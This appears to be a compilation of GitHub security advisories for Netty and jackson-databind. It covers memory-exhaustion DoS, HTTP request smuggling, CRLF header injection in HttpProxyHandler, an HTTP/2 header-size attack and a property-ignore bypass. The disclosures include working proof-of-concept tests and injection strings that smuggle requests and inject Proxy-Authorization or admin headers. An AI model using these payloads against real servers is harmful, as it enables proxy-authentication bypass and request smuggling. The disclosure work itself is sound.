Vulnerability from github – Published: 2026-06-08 19:01 – Updated: 2026-06-12 19:27Summary
An attacker can cause DoS by sending a crafted Redis payload with deeply nested arrays. This forces the server to allocate a massive number of state objects and collections, leading to memory exhaustion and an OutOfMemoryError.
Details
io.netty.handler.codec.redis.RedisArrayAggregator aggregates RedisMessage parts into ArrayRedisMessage. It uses a Deque<AggregateState> to keep track of nested arrays. However, it does not limit the maximum depth of nested arrays. When an attacker sends a continuous stream of nested array headers (e.g., *1\r\n*1\r\n*1\r\n...), RedisArrayAggregator pushes a new AggregateState onto the stack and allocates a new ArrayList for each header. Because there is no depth limit, an attacker can send millions of such headers. This consumes a massive amount of heap memory for the AggregateState instances and their backing ArrayLists, eventually resulting in an OutOfMemoryError.
Impact
Denial of Service due to memory exhaustion. Any application using Netty's RedisArrayAggregator to handle untrusted Redis traffic is vulnerable.

Vulnerability from github – Published: 2026-05-07 00:22 – Updated: 2026-05-14 20:41Summary
Netty incorrectly parses malformed Transfer-Encoding, enabling request smuggling attacks.
Details
Netty incorrectly marks a request as chunked when malformed "Transfer-Encoding: chunked, identity" is present. According to RFC https://datatracker.ietf.org/doc/html/rfc9112#name-message-body-length
" If a Transfer-Encoding header field is present in a request and the chunked transfer coding is not the final encoding, the message body length cannot be determined reliably; the server MUST respond with the 400 (Bad Request) status code and then close the connection. "
A possible scenario is when Netty is behind a proxy that doesn't reject requests with "Transfer-Encoding: chunked, identity", but prefers "Content-Length" and forwards the content to Netty.
PoC
The test below shows Netty successfully parsing the second request, demonstrating how an attacker can smuggle a second request inside a request body.
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked, identity\r\n" +
"Content-Length: 48\r\n" +
"\r\n" +
"0\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));
// Request 1
HttpRequest request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
assertTrue(request.headers().contains("Transfer-Encoding"));
assertFalse(request.headers().contains("Content-Length"));
LastHttpContent last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
// Request 2
request = channel.readInbound();
assertTrue(request.decoderResult().isSuccess());
last = channel.readInbound();
assertTrue(last.decoderResult().isSuccess());
last.release();
}

2. Affected Components
io.netty.handler.proxy.HttpProxyHandler—newInitialMessage()method (line 176) explicitly disables header validation viawithValidation(false)
3. Vulnerability Description
Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.
Root Cause
// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
// ...
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false); // <-- VALIDATION EXPLICITLY DISABLED
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, hostHeader);
if (authorization != null) {
req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
}
if (outboundHeaders != null) {
req.headers().add(outboundHeaders); // <-- USER HEADERS ADDED WITHOUT VALIDATION
}
return req;
}
The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.
Incomplete Fix of GHSA-84h7-rjj3-6jx4
This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.
The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:
- The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
- User-provided
outboundHeadersare added without any CRLF check - The resulting CONNECT request contains unvalidated headers on the wire
This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses
HttpProxyHandlerwith user-influencedoutboundHeaders - The application does not perform its own CRLF sanitization on header values
Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel
5. Attack Scenarios
Scenario 1: Proxy Authentication Bypass
HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput); // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);
Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="
Wire format:
CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4= <-- INJECTED
The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.
Scenario 2: Request Smuggling via Proxy
Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"
Injects a full smuggled request through the proxy tunnel establishment.
6. Proof of Concept
Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;
public class HttpProxyHeaderInjectionPoC {
public static void main(String[] args) {
System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");
// Simulate HttpProxyHandler.newInitialMessage() with validation=false
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
.withValidation(false);
FullHttpRequest req = new DefaultFullHttpRequest(
HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
"target.com:443",
io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);
req.headers().set(HttpHeaderNames.HOST, "target.com:443");
// Inject CRLF in header value
String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
req.headers().set("X-Forwarded-For", malicious);
// Encode to wire format
EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
ch.writeOutbound(req);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
System.out.println("VULNERABLE: " +
(encoded.contains("X-Admin: true") ? "YES" : "NO"));
}
}
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HttpProxyHandler Header Injection PoC ===
[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
Header accepted: YES (validation disabled!)
Wire format:

--------------------------------------------------------
With validation=true:
SAFE: Rejected - IllegalArgumentException
With validation=false:
VULNERABLE: Accepted CRLF in header value!
Stored value contains CRLF: true
7. Remediation Recommendations
Option 1: Remove withValidation(false)
// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();
Option 2: Validate outboundHeaders Before Adding
if (outboundHeaders != null) {
for (Map.Entry<String, String> entry : outboundHeaders) {
HttpUtil.validateHeaderValue(entry.getValue());
}
req.headers().add(outboundHeaders);
}

GHSA-563Q-J3CM-6JXM
Vulnerability from github – Published: 2026-06-15 20:46 – Updated: 2026-06-15 20:46Summary
Netty HTTP/2 max header size handling produces attack similar to HTTP/2 Rapid Reset.
Details
There is a setting in the http2 specification called SETTINGS_MAX_HEADER_LIST_SIZE. According to the RFC: “This advisory setting informs a peer of the maximum field section size that the sender is prepared to accept, in units of octets.”
When a client sends that setting to Netty, it appears that Netty will behave as follows:
- Read the request
- Proxy the request to the origin
- Attempt to produce a response
- Create an exception while writing the headers for the response
Functionally, this should be similar to the http2 reset attack, but with a different on-the-wire signature.
Remediation
When speaking with clients, Netty should potentially treat this as “advisory” and ignore it. It would be best to ignore the SETTINGS_MAX_HEADER_LIST_SIZE setting from clients (or ignore it when sending to clients). According to the spec, a server does not need to honor this advisory setting, and it appears that other http/2 implementations ignore it when acting as a server.
Impact
This is a DDoS attack similar to the HTTP/2 Rapid Reset Attack.

Vulnerability from github – Published: 2026-05-07 00:21 – Updated: 2026-05-14 20:41Summary
If HttpClientCodec is configured, there are use cases when a response body from one request, can be parsed as another's.
Details
HttpClientCodec pairs each inbound response with an outbound request by queue.poll() once per response, including for 1xx. If the client pipelines GET then HEAD and the server sends 103, then 200 with GET body, then 200 for HEAD, the queue pairs HEAD with the first 200. The HEAD rule then skips reading that message’s body, so the GET entity bytes stay on the stream and the following 200 is parsed from the wrong offset.
Prerequisites - HTTP/1.1 pipelining - HEAD in the pipeline - The server sends 1xx

GHSA-5JMJ-H7XM-6Q6V
Vulnerability from github – Published: 2026-06-23 21:23 – Updated: 2026-07-16 21:25Summary
In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.
Impact
An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).
Affected / Patched
Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.
Severity / CWE
Maintainer: minor. Reporter: Moderate. CWE-915.
Upstream fix
FasterXML/jackson-databind#5962 (PR #5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.
